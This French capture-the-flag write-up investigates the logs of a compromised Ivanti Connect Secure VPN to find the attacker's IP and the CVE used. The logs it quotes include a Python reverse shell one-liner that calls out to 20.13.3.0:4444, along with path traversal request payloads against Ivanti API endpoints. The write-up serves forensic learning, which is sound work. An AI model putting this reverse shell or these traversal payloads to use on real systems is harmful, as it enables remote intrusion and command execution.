Abstract
Ce challenge nous met sur les traces des CVE qui ont impacté les produits Ivanti fin 2023-début 2024. En identifiant les adresses IP, on observe que l’une d’entre elle a installé un reverse shell sur la machine hôte. Une analyse des logs de l’équipement et d’un exploit nous permet d’identifier précisément la CVE.
Le challenge nous donne accès aux journaux d’un équipement compromis. L’objectif est de trouver l’adresse IP de l’attaquant ainsi que la CVE utilisée. Un indice est donné dans l’énoncé :
En arrivant à votre bureau le premier jour, vous vous rendez compte que votre prédécesseur vous a laissé une clé USB avec une note dessus : VPN compromis (intégrité). Version 22.3R1 b1647.
Le début est toujours un peu compliqué, étant donné que l’on ne sait pas vraiment ce que l’on observe, quelles sont les technologies utilisées, etc. J’ai pour habitude d’ouvrir la plupart des fichiers et de les parcourir succinctement afin de voir à quoi j’ai affaire. En l’occurrence, des logs web et les processus d’une machine.
Identification de l’IP de l’attaquant
Je fais un regex qui va m’extraire toutes les adresses IP des logs afin de voir la taille du périmètre. Je pourrai ensuite peut-être identifier des comportements anormaux d’après ces adresses IP.
grep -REoh '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b'
Cette commande nous sort beaucoup d’adresses similaires, j’ai redirigé la sortie vers un fichier que je traite ensuite avec un script python pour extraire les IPs uniques. On a quelques faux positifs comme des numéros de versions ou ce genre de choses. Heureusement, il n’y a “que” 21 sorties, on peut rechercher chaque ligne avec grep pour trier les vraies IP des numéros de version. Cette méthode a l’avantage de nous faire commencer par 20.13.3.0 qui produit un résultat très suspect :
> grep -R '20\.13\.3\.0'
nodemonlog:21969 1 0.0 0.0 S 452 4852 3808 /bin/sh -c /home/perl5/bin/perl /home/perl/AwsAzureTestConnection.pl ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("20.13.3.0",4444));subprocess.call(["/bin/sh","-i"'
[...]
nodemonlog:web 6264 root 23u IPv6 1707721 0t0 TCP 172.18.0.4:https->20.13.3.0:55102 (ESTABLISHED)
nodemonlog:python 21971 root 3u IPv4 1465043 0t0 TCP 172.18.0.4:13606->20.13.3.0:krb524 (ESTABLISHED)
nodemonlog:sh 21972 root 0u IPv4 1465043 0t0 TCP 172.18.0.4:13606->20.13.3.0:krb524 (ESTABLISHED)
Le premier match semble être un reverse shell en Python qui initie une connexion vers 20.13.3.0:4444 pour démarrer un shell interactif (/bin/sh -i). Les lignes suivantes montrent les connexions sortantes ce qui confirme que le code malveillant a fonctionné.
À noter que les logs contiennent des traces d’autres payloads qui semblent cibler
uWSGI(je vous laisserai les chercher :p). Ce sont peut-être des scans automatisés qui passaient par là. Des CVEs existent avec des payloads ressemblant, ce qui m’a fait perdre pas mal de temps et des tentatives de flag (au bout de 10 mauvais flags, le challenge se bloquait).
Ivanti Connect Secure
On est sur un service web avec des logs et on voit que /api/v1/cav/client/ est commun à toutes les requêtes. Si l’on cherche cet endpoint sur internet, on trouve des mentions de CVE sur Ivanti Pulse Connect Secure : High Signal Detection and Exploitation of Ivanti’s Pulse Connect Secure Auth Bypass & RCE.
Ou bien, on peut utiliser l’indice de l’énoncé : “VPN compromis (intégrité). Version 22.3R1 b1647”, on trouvera la technologie utilisée et les CVE associées.
On a 2 CVEs possibles : CVE-2023-46805 (Authentication Bypass) & CVE-2024-21887 (Remote Command Execution). Il reste à trouver la bonne, ce qui n’est pas simple puisqu’elles sont souvent liées dans les articles qui y font mention.
À noter qu’il est fait mention d’un nouveau payload pour la CVE-2023-46805,
/api/v1/cav/client/status/../../admin/options, mais il n’y a pas cette trace dans les logs.
En creusant, j’ai trouvé deux exploits sur Github :
Elles ciblent l’endpoint /api/v1/totp/user-backup-code/ avec un path traversal, qui est aussi présent dans nos logs :
> grep -R '/api/v1/totp/user-backup-code/'
config_rest_server.log.old:[pid: 6299|app: 0|req: 1/1] 172.18.0.4 () {30 vars in 501 bytes} [Fri Mar 15 06:29:17 2024] POST /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection => generated 14 bytes in 164281 msecs (HTTP/1.1 200) 2 headers in 71 bytes (1 switches on core 0)
On semble être sur la bonne voie. Néanmoins, la CVE-2024-21887 effectue un path traversal sur l’endpoint /license/keys-status/ qui n’est pas présent dans nos logs. De plus, la vulnérabilité nécessite un payload encodé qui n’est pas non plus présent. Enfin, la CVE-2023-46805 utilise un path traversal pour se rendre dans system/, c’est aussi ce que l’on retrouve dans les logs. Cet article confirme que c’est bien la vulnérabilité de 2023 qui a été exploitée : Ivanti Connect Secure Auth Bypass and Remote Code Authentication CVE-2024-21887. On y retrouve le même reverse shell.